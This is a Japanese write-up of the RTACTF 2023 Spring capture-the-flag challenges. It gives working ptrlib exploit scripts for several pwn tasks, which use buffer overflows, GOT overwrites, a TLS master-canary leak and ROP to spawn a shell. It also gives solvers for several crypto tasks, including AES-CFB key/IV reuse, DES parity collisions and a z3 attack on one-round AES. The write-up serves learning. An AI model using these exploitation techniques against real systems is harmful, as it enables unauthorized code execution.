RTACTF 2023 Spring writeups

2023/3/21に行われたRTACTF 2023 Springのwriteup。2024/8/11に この問題セットを流用したコンテスト がAlpacaHack上で開催されており、そのタイミングで問題を解いた。最後の2問はコンテスト中に解けなかったのでupsolve。

before-write (Pwn)

Cのバイナリが渡される。PIEとcanaryがともに無しで、ソースコードは以下の通り。

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
}

ssize_t getval(const char *msg) {
  char buf[0x20] = {};
  write(STDOUT_FILENO, msg, strlen(msg));
  read(STDIN_FILENO, buf, sizeof(buf)*0x20);
  return atoll(buf);
}

int main() {
  return getval("value: ");
}

この問題の脆弱絵師は sizeof(buf)*0x20 の部分。sizeof(buf) は配列の1要素のバイト数ではなく配列全体が占めるバイト数を返すため、sizeof(buf)*0x20 は400となり、バッファオーバーランが起こせる。 そのため、win 関数のアドレスを適当にたくさん入力することで win を呼び出すことができる。

XOR-CBC (Crypto)

ブロック暗号の亜種によってフラグを暗号化したデータが与えられる。暗号化の手順はソースコード中にあった以下のAAが分かりやすい。

XOR-CBC Explained:

     plain 0       plain 1       plain 2
        |             |             |
        v             v             v
IV --> XOR  +------> XOR  +------> XOR
        |   |         |   |         |
        v   |         v   |         v
key -> XOR  | key -> XOR  | key -> XOR
        |   |         |   |         |
        +---+         +---+         |
        |             |             |
        v             v             v
[IV] [cipher 0]    [cipher 1]    [cipher 2]

IV は既知、plain 0 は8バイト中7バイトが既知(RTACTF{* の形になっている)、cipher 0 も既知であることから、plain 0 の8バイト目を全探索することで key を特定できる。 全探索を行うソースコードは以下の通り。(一部のみ抜粋)

import string
for c in string.printable:
    head = ('RTACTF{' + c).encode()
    key = p64(u64(iv) ^ u64(head) ^ u64(ciphers[0]))
    print(decrypt(enc_flag, key))

write (Pwn)

配列の任意の位置に8バイトの書き込みができるプログラムが渡される。checksec の結果はCanaryあり、PIEなし、Partial RELRO。問題のソースコードは以下の通り。

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

ssize_t array[10];

void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
}

#define getval(msg)                             \
  ({                                            \
    char buf[0x20] = {};                        \
    write(STDOUT_FILENO, msg, strlen(msg));     \
    read(STDIN_FILENO, buf, sizeof(buf)*0x20);  \
    atoll(buf);                                 \
  })

int main() {
  ssize_t index, value;
  index = getval("index: ");
  value = getval("value: ");
  array[index] = value;
  return 0;
}

read のサイズが sizeof(buf)*0x20) になっていることから、先ほどと同様にバッファオーバーランが起こせる。 また、ssize_t は符号付き64bit整数を表す型であり、getval 内では atoll によって数値への変換が行われていることから、indexvalue には負の値を代入できる。
array はグローバル領域に配置されており、array のアドレスは 0x404080__stack_chk_fail のGOTのアドレスは 0x404020 であることから、index(0x404020 - 0x404080) // 0x8 = -12 を入力することで __stack_chk_fail のGOT overwriteが起こせる。
あとは適当にスタックを破壊して __stack_chk_fail を発火させればよい。ソースコードは以下の通り。

from ptrlib import *


e = ELF("./chall")
p = Socket("***", ***)

idx = (0x404020 - 0x404080) // 0x8
p.sendlineafter('index: ', str(idx).encode() + b'\n' * 0x100)
p.sendlineafter('value: ', e.symbol('win'))

p.interactive()

Collision-DES (Crypto)

DESのハッシュ衝突を見つける問題。ソースコードは以下の通り。

from Crypto.Cipher import DES
from Crypto.Util.Padding import pad
import os

FLAG = os.getenv("FLAG", "RTACTF{**** REDACTED ****}")

def encrypt(key, plaintext):
    cipher = DES.new(key, DES.MODE_ECB)
    return cipher.encrypt(pad(plaintext, 8))

if __name__ == '__main__':
    key1 = os.urandom(8)
    print(f"Key 1: {key1.hex()}")
    key2 = bytes.fromhex(input("Key 2: "))

    plaintext = b"The quick brown fox jumps over the lazy dog."

    assert len(key1) == len(key2) == 8, "Invalid key size :("
    assert len(set(key1).intersection(set(key2))) == 0, "Keys look similar :("

    if encrypt(key1, plaintext) == encrypt(key2, plaintext):
        print("[+] You found a collision!")
        print(FLAG)
    else:
        print("[-] Nope.")

この問題設定に対するうまい攻撃があるようには思えないので調べてみると、DES暗号の実際の鍵長は56bitであり、64bitの鍵の各バイトの最下位ビットは暗号化の際は無視される(パリティとして用いられる)ことが分かった。
そのため、1つ目の鍵の各バイトに ^= 1 したものを2つ目の鍵とすれば衝突が起こせる。

Reused-AES (Crypto)

AESのCFBモードを用いてフラグを暗号化した結果が与えられ、その後に任意の平文を暗号化した結果を得ることができる。ただし、ivkey は2回の暗号化で同じものを用いる。 ソースコードは以下の通り。

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os

iv = os.urandom(16)
key = os.urandom(16)
FLAG = os.getenv("FLAG", "RTACTF{**** REDACTED ****}").encode()

def encrypt(data):
    cipher = AES.new(key, AES.MODE_CFB, iv)
    return cipher.encrypt(pad(data, 16))

if __name__ == '__main__':
    print(encrypt(FLAG).hex())
    print(encrypt(input("> ").encode()).hex())

AESのCFBモードでは平文を先頭から1バイトずつ暗号化する。暗号化の手順では、現在の内部状態を暗号化した後に平文とXORした結果を次の内部状態として用いる。
今回の問題設定では ivkey がともに共通なため、2つの暗号化文の先頭  k バイトが一致している場合、 k+1 バイト目の暗号化に使われる内部状態が一致する。  k+1 バイト目に対応する暗号文ブロックは  k バイト目の内部状態を暗号化したものに平文の  k+1 バイト目をXORしたものであるため、 フラグの  k バイト目までが特定できている場合、先頭  k バイトをフラグと一致させ、 k+1 バイト目を適当な値とした文字列を暗号化してうまくXORをとることで、フラグの  k+1 バイト目を特定することができる。
ソルバのコードは以下の通り。

from ptrlib import *
head = b''
for k in range(32):
    p = Socket("***", ***)
    s = bytes.fromhex(p.recvline().decode())
    payload = head + b'\1' * 32
    p.sendlineafter('> ', payload)
    t = bytes.fromhex(p.recvline().decode())
    head += xor(xor(s, t), payload)[k:k+1]
    print(head)

read-write (Pwn)

任意位置への読み書きが3回までできるプログラム。Full RELROかつCanaryありでNo PIE。ソースコードは以下の通り。

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

size_t array[10];

void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
}

void printval(size_t val) {
  char buf[0x20] = {}, *p = buf + sizeof(buf) - 1;
  *--p = '\n';
  do {
    *--p = '0' + (val % 10);
    val /= 10;
  } while (val);
  write(STDOUT_FILENO, p, buf+sizeof(buf)-p-1);
}

size_t getval(const char *msg) {
  char buf[0x20] = {};
  write(STDOUT_FILENO, msg, strlen(msg));
  read(STDIN_FILENO, buf, sizeof(buf)*0x20);
  return atoll(buf);
}

int main() {
  size_t index, value;

  for (int i = 0; i < 3; i++) {
    switch (getval("1. read\n2. write\n> ")) {
      case 1: // read
        index = getval("index: ");
        printval(array[index]);
        break;

      case 2: // write
        index = getval("index: ");
        value = getval("value: ");
        array[index] = value;
        break;

      default:
        return 0;
    }
  }

  return 0;
}

array は前回と同様にグローバル領域に保存されており、getval脆弱性もそのまま。ただし、Full RELROなので単純なGOT overwriteは難しい。printval という関数が新たに追加されているが、見たところ脆弱性は無さそう。
まずはlibcをleakしたい。バイナリがFull RELROの場合、グローバル配列などが保存されている書き込み可能領域の少し手前(0x404000 の直前)にGOTが存在する。この領域は書き込み不可能だが読み込みは問題なく可能であり、テーブルにはlibcの該当するコードへのアドレスが保存されている。 そのため、負のindex指定を用いてこの中身を読み込むことでlibcのアドレスが特定できる。
次はlibc側のGOT overwriteを行う。Full RELROでもlibc側のGOTは書き込み可能であり、__stack_chk_fail の関数呼び出し内で発火しそうな適当な関数のジャンプ先を win に書き換える。 最後に getvalバッファオーバーランを用いて __stack_chk_fail を発火させることで、無事にシェルが得られた。 ソースコードは以下の通り。

from ptrlib import *

e = ELF('./chall')
p = Socket('***', ***)
libc = ELF('./libc.so.6')

stack_chk_fail = 0x403fd0
array_addr = 0x404040

def to_idx(addr):
    return (addr - array_addr) // 8

def read(addr):
    p.sendlineafter('> ', 1)
    p.sendlineafter('index: ', to_idx(addr))
    return int(p.recvline().strip())

def write(addr, data):
    p.sendlineafter('> ', 2)
    p.sendlineafter('index: ', to_idx(addr))
    p.sendlineafter('value: ', data)

given_stack_chk_fail = read(stack_chk_fail)

libc.base = given_stack_chk_fail - libc.symbol('__stack_chk_fail')

got = libc.base + (0x7f0a32765000 - 0x7f0a3254c000) + 19 * 8
write(got, e.symbol('win'))
p.sendlineafter('> ', 1)
p.sendlineafter('index: ', 'A' * 100)
p.interactive()

ちなみに、想定解はlibc leakしてから environ でstack addressを得てROPする方法だったらしい。 libc側のGOT overwriteはどこのGOTを書き換えれば発火するのかが分かりづらいため、そちらの方針の方が解きやすいかもしれない。

only-read (Pwn)

Pwnのボス問。任意の回数だけ読み込みができるが、書き込みが許されなくなってしまった。防御機構は全部あり。ソースコードは以下の通り。

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define printval(_val)                                \
  {                                                   \
    size_t val = (_val);                              \
    char buf[0x20] = {}, *p = buf + sizeof(buf) - 1;  \
    *--p = '\n';                                      \
    do {                                              \
      *--p = '0' + (val % 10);                        \
      val /= 10;                                      \
    } while (val);                                    \
    write(STDOUT_FILENO, p, buf+sizeof(buf)-p-1);     \
  }                                                   \

#define getval(msg)                             \
  ({                                            \
    char buf[0x20] = {};                        \
    write(STDOUT_FILENO, msg, strlen(msg));     \
    read(STDIN_FILENO, buf, sizeof(buf)*0x20);  \
    atoll(buf);                                 \
  })

int main() {
  size_t array[10] = {};

  for (;;) {
    ssize_t index = getval("index: ");
    if (index >= 10) break;
    printval(array[index]);
  }

  return 0;
}

ソースコード内で気にするべき点がいくつかあるのでまずはそれを紹介する。 まず、array がグローバル領域からスタック領域に変更されている。また、index >= 10 を満たす位置には読み込みができなくなっている。もう一点、getvalprintval が両方ともマクロで定義されている点も気を付けたい。つまり、getval などの実行中も rsp は変化しないということになる。
まず、index を負の値にして読み込むことでスタックの上部を参照し、main 関数の位置やスタックの位置を特定する。スタックの位置を特定することで、array のアドレスより小さい任意のアドレスへの読み込みが可能になる。
次に、得られた main のアドレスを使ってlibcをleakする。main 周辺を適当に調べるとlibcの write へのポインタが格納されているアドレスを見つけられたので、それを使った。
ここからstack canaryをleakしてバッファオーバーランからROPに持ち込みたいのだが、スタックの下部にはアクセスできず、スタック上部にはcanaryが存在しない。 そのため、TLS (Thread Local Storage) にあるmaster canaryをleakする方針で考えてみる。
TLSのアドレスの正確な特定は難しいのだが、実はTLSlibc.base の手前にある書き込み可能領域のどこかに存在する。この領域のサイズは 0xf000 バイト程度であり、領域内を全探索することができる 1
stack canaryは上位7バイトが非ゼロで最下位バイトがゼロであるため、全探索しながらそのようなcanary候補があるかどうかを調べればよい。
canaryが特定できた後はROPをすればシェルが取れる。ソースコードは以下の通り。

from ptrlib import *

p = Socket('***', ***)
libc = ELF('./libc.so.6')

array_addr = None

def to_idx(addr):
    return (addr - array_addr) // 8

def read_idx(idx):
    p.sendlineafter('index: ', idx)
    return int(p.recvline().strip())

def read_addr(addr):
    return read_idx(to_idx(addr))

main_addr = read_idx(-5) - 189 - 0xb5 + 0xa9
assert hex(main_addr)[-2:] == 'a9'

stack_addr = read_idx(-2)

stack_addr = 0x7ffebe81f520 + stack_addr - 0x7ffebe81f5a0

array_addr = stack_addr + 0x20

write_addr = main_addr + 11795
write = read_addr(write_addr)
libc.base = write - libc.symbol('write')

base_len = 12288 // 8
canary = None
# 全探索(1298が答えになる)
for i in range(base_len):
    addr = libc.base - (i + 1) * 8
    res = read_addr(addr)
    s = 0
    for j in range(8):
        if (res >> (j * 8)) & 0xff:
            s |= 1 << j
    if s == 254:
        canary = res
        break

payload = b''
payload += b'10\nAAAAA'
payload += p64(canary) * 6
payload += p64(next(libc.gadget('ret;')))
payload += p64(next(libc.gadget('pop rdi; ret;')))
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.symbol('system'))

p.sendlineafter('index: ', payload)

p.interactive()

1R-AES (Crypto)

Cryptoのボス問。選択平文攻撃で1ラウンドのAES暗号を破る問題。ソースコードは以下の通りだが、aes.py が別個配布されており、aes.py はラウンド数を1で固定するように変更が加えられている。

import aes_raw as aes
import aes
import os

key = os.getenv("KEY", "*** REDACTED ***").encode()
assert len(key) == 16

flag = os.getenv("FLAG", "RTACTF{ABCDEFGHIJKLMNOP}").strip()
assert flag.startswith("RTACTF{") and flag.endswith("}")
la = flag[len("RTACTF{"):-len("}")]
assert len(la) == 16

cipher = aes.AES(key)
print("enc(la):", cipher.encrypt_block(la.encode()).hex())

while True:
    cipher = aes.AES(key)
    plaintext = bytes.fromhex(input("msg > "))
    assert len(plaintext) == 16
    print("enc(msg):", cipher.encrypt_block(plaintext).hex())

ラウンド数が少ないため、頑張ってSMTソルバに投げられる形にしてz3に解かせたくなる。 具体的には、暗号化オラクルを用いて平文と暗号化文の組を得た後、そのような変換が成立するようなkeyを求める問題として定式化する。
この問題はこれ以上説明することがなく、頑張って実装するとちゃんと解けて無事フラグが得られた。aes.py をベースにしたSMTソルバ部分のソースコードは以下の通り。

#!/usr/bin/env python3
"""
This is an exercise in secure symmetric-key encryption, implemented in pure
Python (no external libraries needed).

Original AES-128 implementation by Bo Zhu (http://about.bozhu.me) at 
https://github.com/bozhu/AES-Python . PKCS#7 padding, CBC mode, PKBDF2, HMAC,
byte array and string support added by me at https://github.com/boppreh/aes. 
Other block modes contributed by @righthandabacus.


Although this is an exercise, the `encrypt` and `decrypt` functions should
provide reasonable security to encrypted messages.
"""
from z3 import *

s_box = (
    0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
    0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
    0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
    0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
    0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
    0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
    0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
    0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
    0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
    0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
    0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
    0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
    0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
    0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
    0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
    0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)

inv_s_box = (
    0x52, 0x09, 0x6A, 0xD5, 0x30, 0x36, 0xA5, 0x38, 0xBF, 0x40, 0xA3, 0x9E, 0x81, 0xF3, 0xD7, 0xFB,
    0x7C, 0xE3, 0x39, 0x82, 0x9B, 0x2F, 0xFF, 0x87, 0x34, 0x8E, 0x43, 0x44, 0xC4, 0xDE, 0xE9, 0xCB,
    0x54, 0x7B, 0x94, 0x32, 0xA6, 0xC2, 0x23, 0x3D, 0xEE, 0x4C, 0x95, 0x0B, 0x42, 0xFA, 0xC3, 0x4E,
    0x08, 0x2E, 0xA1, 0x66, 0x28, 0xD9, 0x24, 0xB2, 0x76, 0x5B, 0xA2, 0x49, 0x6D, 0x8B, 0xD1, 0x25,
    0x72, 0xF8, 0xF6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xD4, 0xA4, 0x5C, 0xCC, 0x5D, 0x65, 0xB6, 0x92,
    0x6C, 0x70, 0x48, 0x50, 0xFD, 0xED, 0xB9, 0xDA, 0x5E, 0x15, 0x46, 0x57, 0xA7, 0x8D, 0x9D, 0x84,
    0x90, 0xD8, 0xAB, 0x00, 0x8C, 0xBC, 0xD3, 0x0A, 0xF7, 0xE4, 0x58, 0x05, 0xB8, 0xB3, 0x45, 0x06,
    0xD0, 0x2C, 0x1E, 0x8F, 0xCA, 0x3F, 0x0F, 0x02, 0xC1, 0xAF, 0xBD, 0x03, 0x01, 0x13, 0x8A, 0x6B,
    0x3A, 0x91, 0x11, 0x41, 0x4F, 0x67, 0xDC, 0xEA, 0x97, 0xF2, 0xCF, 0xCE, 0xF0, 0xB4, 0xE6, 0x73,
    0x96, 0xAC, 0x74, 0x22, 0xE7, 0xAD, 0x35, 0x85, 0xE2, 0xF9, 0x37, 0xE8, 0x1C, 0x75, 0xDF, 0x6E,
    0x47, 0xF1, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7, 0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B,
    0xFC, 0x56, 0x3E, 0x4B, 0xC6, 0xD2, 0x79, 0x20, 0x9A, 0xDB, 0xC0, 0xFE, 0x78, 0xCD, 0x5A, 0xF4,
    0x1F, 0xDD, 0xA8, 0x33, 0x88, 0x07, 0xC7, 0x31, 0xB1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xEC, 0x5F,
    0x60, 0x51, 0x7F, 0xA9, 0x19, 0xB5, 0x4A, 0x0D, 0x2D, 0xE5, 0x7A, 0x9F, 0x93, 0xC9, 0x9C, 0xEF,
    0xA0, 0xE0, 0x3B, 0x4D, 0xAE, 0x2A, 0xF5, 0xB0, 0xC8, 0xEB, 0xBB, 0x3C, 0x83, 0x53, 0x99, 0x61,
    0x17, 0x2B, 0x04, 0x7E, 0xBA, 0x77, 0xD6, 0x26, 0xE1, 0x69, 0x14, 0x63, 0x55, 0x21, 0x0C, 0x7D,
)

s_box_idx = 0
def apply_s_box(prob: Solver, s: BitVec):
    global s_box_idx
    bv = BitVec(f'sbox_{s_box_idx}', 8)
    s_box_idx += 1
    for i in range(256):
        prob.add(Implies(s == i, bv == s_box[i]))
    return bv

def sub_bytes(prob, s):
    for i in range(4):
        for j in range(4):
            s[i][j] = apply_s_box(prob, s[i][j])

def shift_rows(s):
    s[0][1], s[1][1], s[2][1], s[3][1] = s[1][1], s[2][1], s[3][1], s[0][1]
    s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
    s[0][3], s[1][3], s[2][3], s[3][3] = s[3][3], s[0][3], s[1][3], s[2][3]


def inv_shift_rows(s):
    s[0][1], s[1][1], s[2][1], s[3][1] = s[3][1], s[0][1], s[1][1], s[2][1]
    s[0][2], s[1][2], s[2][2], s[3][2] = s[2][2], s[3][2], s[0][2], s[1][2]
    s[0][3], s[1][3], s[2][3], s[3][3] = s[1][3], s[2][3], s[3][3], s[0][3]

def add_round_key(s, k):
    for i in range(4):
        for j in range(4):
            s[i][j] ^= k[i][j]


r_con = (
    0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
    0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
    0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
    0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)


def bytes2matrix(text):
    """ Converts a 16-byte array into a 4x4 matrix.  """
    return [list(text[i:i+4]) for i in range(0, len(text), 4)]

def matrix2bytes(matrix):
    """ Converts a 4x4 matrix into a 16-byte array.  """
    return bytes(sum(matrix, []))

def xor_bytes(a, b):
    """ Returns a new byte array with the elements xor'ed. """
    return [i^j for i, j in zip(a, b)]

def inc_bytes(a):
    """ Returns a new byte array with the value increment by 1 """
    out = list(a)
    for i in reversed(range(len(out))):
        if out[i] == 0xFF:
            out[i] = 0
        else:
            out[i] += 1
            break
    return bytes(out)


class AES:
    """
    Class for AES-128 encryption with CBC mode and PKCS#7.

    This is a raw implementation of AES, without key stretching or IV
    management. Unless you need that, please use `encrypt` and `decrypt`.
    """
    rounds_by_key_size = {16: 1, 24: 1, 32: 1}
    def __init__(self):
        self.prob = Solver()
        """
        Initializes the object with a given key.
        """
        self.n_rounds = 1
        self._key_matrices = self._expand_key()

    def _expand_key(self):
        """
        Expands and returns a list of key matrices for the given master_key.
        """
        # Initialize round keys with raw key material.
        # key_columns = bytes2matrix(master_key)
        key_columns = [[BitVec(f'key_{i}_{j}', 8) for j in range(4)] for i in range(4)]
        self.keys = [[key_columns[i][j] for j in range(4)] for i in range(4)]
        iteration_size = 4

        i = 1
        while len(key_columns) < (self.n_rounds + 1) * 4:
            # Copy previous word.
            word = list(key_columns[-1])

            # Perform schedule_core once every "row".
            if len(key_columns) % iteration_size == 0:
                # Circular shift.
                word.append(word.pop(0))
                # Map to S-BOX.
                word = [apply_s_box(self.prob, b) for b in word]
                # XOR with first byte of R-CON, since the others bytes of R-CON are 0.
                word[0] ^= r_con[i]
                i += 1

            # XOR with equivalent word from previous iteration.
            word = xor_bytes(word, key_columns[-iteration_size])
            key_columns.append(word)
        # Group key words in 4x4 byte matrices.
        return [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)]

    def get_key(self, plaintext, gt_enc):
        """
        Encrypts a single block of 16 byte long plaintext.
        """
        assert len(plaintext) == 16
        plain_state = bytes2matrix(plaintext)
        
        assert len(self._key_matrices) == 2
        add_round_key(plain_state, self._key_matrices[0])
        sub_bytes(self.prob, plain_state)  # sbox shift
        shift_rows(plain_state) # rotate
        add_round_key(plain_state, self._key_matrices[-1])


        out_mat = [[plain_state[i][j] for j in range(4)] for i in range(4)]
        plain_mat = bytes2matrix(gt_enc)
        for i in range(4):
            for j in range(4):
                self.prob += (out_mat[i][j] == plain_mat[i][j])

        check = self.prob.check()
        assert check == sat
        m = self.prob.model()

        matrix = [[m[self.keys[i][j]].as_long() for j in range(4)] for i in range(4)]
        return m, matrix2bytes(matrix)

ソルバ自体のソースコードは以下の通り。

import aes_z3
import aes_raw
import os
from ptrlib import *

p = Socket("***", ***)

enc_la = bytes.fromhex(p.recvlineafter("enc(la): ").decode().strip())

plaintext = b'0123456789abcdef'
p.sendlineafter("msg > ", plaintext.hex())
gt_enc = bytes.fromhex(p.recvlineafter("enc(msg): ").decode().strip())

cipher_z3 = aes_z3.AES()
model, key = cipher_z3.get_key(plaintext, gt_enc)
print(key)
cipher_ans = aes_raw.AES(key)
dec = cipher_ans.decrypt_block(enc_la)
print(dec)

  1. 説明文に Bruteforce up to 16-bit is allowed in this challenge. と書いてあったので心おきなく試せたが、そうでない場合はやらない方がいいし、手元環境でオフセットを特定できるのでそうした方がよい